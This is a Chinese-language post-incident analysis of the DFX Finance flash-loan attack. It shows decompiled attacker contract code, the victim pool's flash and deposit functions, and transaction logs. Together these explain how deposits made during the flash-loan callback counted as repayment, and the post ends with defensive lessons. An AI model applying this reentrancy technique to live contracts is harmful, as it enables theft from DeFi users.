DFX Finance 攻击分析 | Word Count: 1.6k | Reading Time: 7mins | Post Views:
信息
攻击者地址:0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067
分析的交易:0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
发起攻击的合约:0x6cfa86a352339e766ff1ca119c8c40824f41f22d
函数调用参数:https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
tenderly: https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
代码和分析打包:https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq
发起攻击的合约逆向
完整逆向代码见:https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1
首先攻击者调用攻击合约,逆向代码进行了简化,攻击者设置了一些 require,防止被 bot 抢跑,这里我们删除这些语句还有逆向代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function 0xb727281f(uint256 varg0, uint256 varg1) public payable { require(4 + (msg.data.length - 4) - 4 >= 64); require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067); stor_5 = varg0; stor_9 = varg1; v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas); RETURNDATACOPY(v1, 0, RETURNDATASIZE()); MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f); if (1 < MEM[v1 + MEM[v1 + 32]]) { if (0 < MEM[v1 + MEM[v1 + 32]]) { 0x34d3(); exit; } } revert(Panic(50)); }
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
调用了如下函数,位于 Curve/contracts/Curve.sol#550
1 2 3 4 5 6 7 8 9 /// @notice view deposits and curves minted a given deposit would return /// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the /// prevailing proportions of the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) { // curvesToMint_, depositsToMake_ return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit); }
ProportionalLiquidity.viewProportionalDeposit
是库合约中的函数,位于 Curve/contracts/ProportionalLiquidity.sol#78
,第一个参数 curve
是一个结构体包括各种属性,第二个是计划存入的金额。具体内容不细致分析,读者感兴趣可以自行查看源码。这一段的作用是用于查看如果存入这么多金额,应该会返回多少代币。
之后经过很多检查后,攻击的合约执行如下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function 0x34d3() private { v0 = 0x3774(stor_9, stor_7); v1 = 0x37e1(1000, v0); v2 = _SafeSub(v1, stor_7); v3 = 0x3774(stor_9, _uniswapV3FlashCallback); v4 = 0x37e1(1000, v3); v5 = _SafeSub(v4, _uniswapV3FlashCallback); require(stor_0_0_19.code.size); v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas); require(v6); // checks call status, propagates error data on error require(stor_0_0_19.code.size); v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas); require(v7); // checks call status, propagates error data on error MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f); require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32); 0x43bd(v8); require(stor_0_0_19.code.size); v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas); require(v9); // checks call status, propagates error data on error return ; }
其中 0x3774
0x37e1
等函数是算术运算,不细看,直到开始调用 v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external transactable noDelegateCall isNotEmergency { uint256 fee = curve.epsilon.mulu(1e18); require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth'); require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/token1-zero-liquidity-depth'); uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18); uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18); uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this)); uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this)); if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0); if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1); IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this)); uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this)); require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned'); require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned'); // sub is safe because we know balanceAfter is gt balanceBefore by at least fee uint256 paid0 = balance0After - balance0Before; uint256 paid1 = balance1After - balance1Before; IERC20(derivatives[0]).safeTransfer(owner, paid0); IERC20(derivatives[1]).safeTransfer(owner, paid1); emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1); }
这是非常标准的闪电贷代码,关键是 IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);
回调了。
回调的攻击者合约代码如下(也做了简化):
1 2 3 function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable { v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas); }
非常直接的开始存款,函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /// @notice deposit into the pool with no slippage from the numeraire assets the pool supports /// @param _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst /// the numeraire assets of the pool /// @return (the amount of curves you receive in return for your deposit, /// the amount deposited for each numeraire) function deposit(uint256 _deposit, uint256 _deadline) external deadline(_deadline) transactable nonReentrant noDelegateCall notInWhitelistingStage isNotEmergency returns (uint256, uint256[] memory) { // (curvesMinted_, deposits_) return ProportionalLiquidity.proportionalDeposit(curve, _deposit); }
具体参数 deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600)
。它直接调用了库函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit) external returns (uint256 curves_, uint256[] memory) { int128 __deposit = _deposit.divu(1e18); uint256 _length = curve.assets.length; uint256[] memory deposits_ = new uint256[](_length); (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve); // Needed to calculate liquidity invariant // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve); // No liquidity, oracle sets the ratio if (_oGLiq == 0) { for (uint256 i = 0; i < _length; i++) { // Variable here to avoid stack-too-deep errors int128 _d = __deposit.mul(curve.weights[i]); deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI)); } } else { // We already have an existing pool ratio // which must be respected int128 _multiplier = __deposit.div(_oGLiq); uint256 _baseWeight = curve.weights[0].mulu(1e18); uint256 _quoteWeight = curve.weights[1].mulu(1e18); for (uint256 i = 0; i < _length; i++) { deposits_[i] = Assimilators.intakeNumeraireLPRatio( curve.assets[i].addr, _baseWeight, _quoteWeight, _oBals[i].mul(_multiplier).add(ONE_WEI) ); } } int128 _totalShells = curve.totalSupply.divu(1e18); int128 _newShells = __deposit; if (_totalShells > 0) { _newShells = __deposit.mul(_totalShells); _newShells = _newShells.div(_oGLiq); } mint(curve, msg.sender, curves_ = _newShells.mulu(1e18)); return (curves_, deposits_); }
getGrossLiquidityAndBalancesForDeposit(curve)
计算之前存款的总流动性和余额,然后在 Assimilators.intakeNumeraireLPRatio
计算了存入金额和 LP 的比率,然后攻击者合约给 curve 合约打钱。下面是两个日志
1 2 3 4 5 6 7 8 9 10 11 { "from":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d" "to":"0x46161158b1947d9149e066d6d31af1283b2d377c" "value":"2325581395325581" } { "from":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d" "to":"0x46161158b1947d9149e066d6d31af1283b2d377c" "value":"100000000000" }
之后 mint 代币给攻击者合约。
1 2 3 4 5 { "from":"0x0000000000000000000000000000000000000000" "to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d" "value":"387023837944937266146579" }
当 flash 回调结束的时候
1 2 3 4 5 6 7 8 balance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492c balance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac balance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1d balance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac paid0 = 0xcb0ccb7c0f1 paid1 = 0x23c34600
说明还需要支付的代币已经少了很多了,因为最开始借贷的代币数量是:
1 2 3 4 5 6 7 8 9 10 11 { "from":"0x46161158b1947d9149e066d6d31af1283b2d377c" "to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d" "value":"0x83669d03f319c" } { "from":"0x46161158b1947d9149e066d6d31af1283b2d377c" "to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d" "value":"0x1724b3a200" }
说明攻击者空手套白狼了两种代币,分别为 0x829b9038770ab
0x1700f05c00
,需要还闪电贷的只是一个零头。通过多次这样的交易,攻击者大量套利。
感觉这个逻辑还是简单的,可能一个合约中不能出现重入比较好,或者说是业务逻辑考虑不周全,没有考虑其他函数造成的 balance 改变对 flash 的影响。一般考虑清楚每个 callback,考虑清楚每个函数依赖的变量是否可能在调用过程中篡改,就能避免很多问题。这里稍微复杂以下的是,获取 balance 的过程基本都是用到了代理合约还有计算汇率是采用了自己 abi 编码其他合约去处理,导致中间一大堆调用,跳过就好。
攻击的核心是在 curve 闪电贷的回调函数里,攻击者将借贷的代币存入 curve 合约,因为 curve 通过 balance(curve) 获取余额,所以存入的代币也被视作还款了。